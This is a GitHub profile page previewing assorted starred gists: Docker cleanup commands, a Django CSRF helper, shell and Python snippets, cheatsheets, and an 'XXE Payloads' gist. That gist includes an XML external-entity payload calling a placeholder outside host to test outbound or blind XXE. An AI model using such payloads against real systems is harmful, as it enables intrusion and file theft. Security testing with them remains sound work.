Skip to content

Instantly share code, notes, and snippets.

View epinna's full-sized avatar

Emilio epinna

View GitHub Profile
@bastman
bastman / docker-cleanup-resources.md
Created March 31, 2016 05:55
docker cleanup guide: containers, images, volumes, networks

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

#!/usr/bin/env python
# coding: utf-8
#
# Copyright (C) Michael Ihde 2004 <mike.ihde@randomwalking.com>
#
# Distributed under the Python License
#
# iprange is a useful module that creates iprange generators similar
# to python's xrange. This allows you to write statements such as
#
@bengolder
bengolder / csrf.js
Created December 9, 2014 19:34
Django REST Framework and CSRF protection for ajax posts.
var jQuery = window.$;
// using jQuery
function getCookie(name) {
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
@staaldraad
staaldraad / XXE_payloads
Last active April 29, 2024 14:27
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@aras-p
aras-p / preprocessor_fun.h
Last active April 28, 2024 15:25
Things to commit just before leaving your job
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
@Nurdok
Nurdok / python_conversion.md
Last active December 16, 2022 03:45
Python Conversion

Python Number Conversion Chart

From To Expression
@cyrus-and
cyrus-and / pastebin.sh
Created November 4, 2012 19:53
Quick way to pipe data to pastebin.com directly from shell
#!/usr/bin/env bash
# usage: <command> | pastebin [+|++|+++]
#
# (none): paste expires in 10 minutes
# +: paste expires in 1 hour
# ++: paste expires in 1 day
# +++: paste expires in 1 months
HOST='pastebin.com'

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name: